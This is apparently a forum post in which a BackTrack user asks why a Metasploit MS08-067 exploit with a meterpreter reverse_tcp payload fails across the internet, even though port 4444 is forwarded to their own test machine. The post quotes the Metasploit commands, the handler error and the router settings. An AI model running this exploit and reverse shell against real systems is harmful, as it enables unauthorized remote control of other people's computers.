Hi to all,
I'm using Back|track 5 R3 on my HDD in dual boot with win7 on an Asus x53s. Thanks for attentions.
When i use the payload meterpreter/reverse_tcp on my LAN i do not have any kind of problems, but when i try to exploit another my own computer via internet for testing i recive this:

I start Metasploit with this exploit and payload:

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
payload =>

then i set:

set lhost:my external ip
set rhost: the ip of another my own pc for external exploit test with win xp

when i start the exploit i recive this:
[-] Handler failed to bind to [external_ip]:4444[*] Started reverse handler on 0.0.0.0:4444

On my router the 4444 port has been forwarded:
Name of rules: Metasploit_example
Destination:[Internal_IP]
Type:TCP
internal port:4444
external port:4444

I can't understand why if i have correctly set the port forwarding the payload doesn't work!!
Thanks a lot for your attention, and sorry for my english.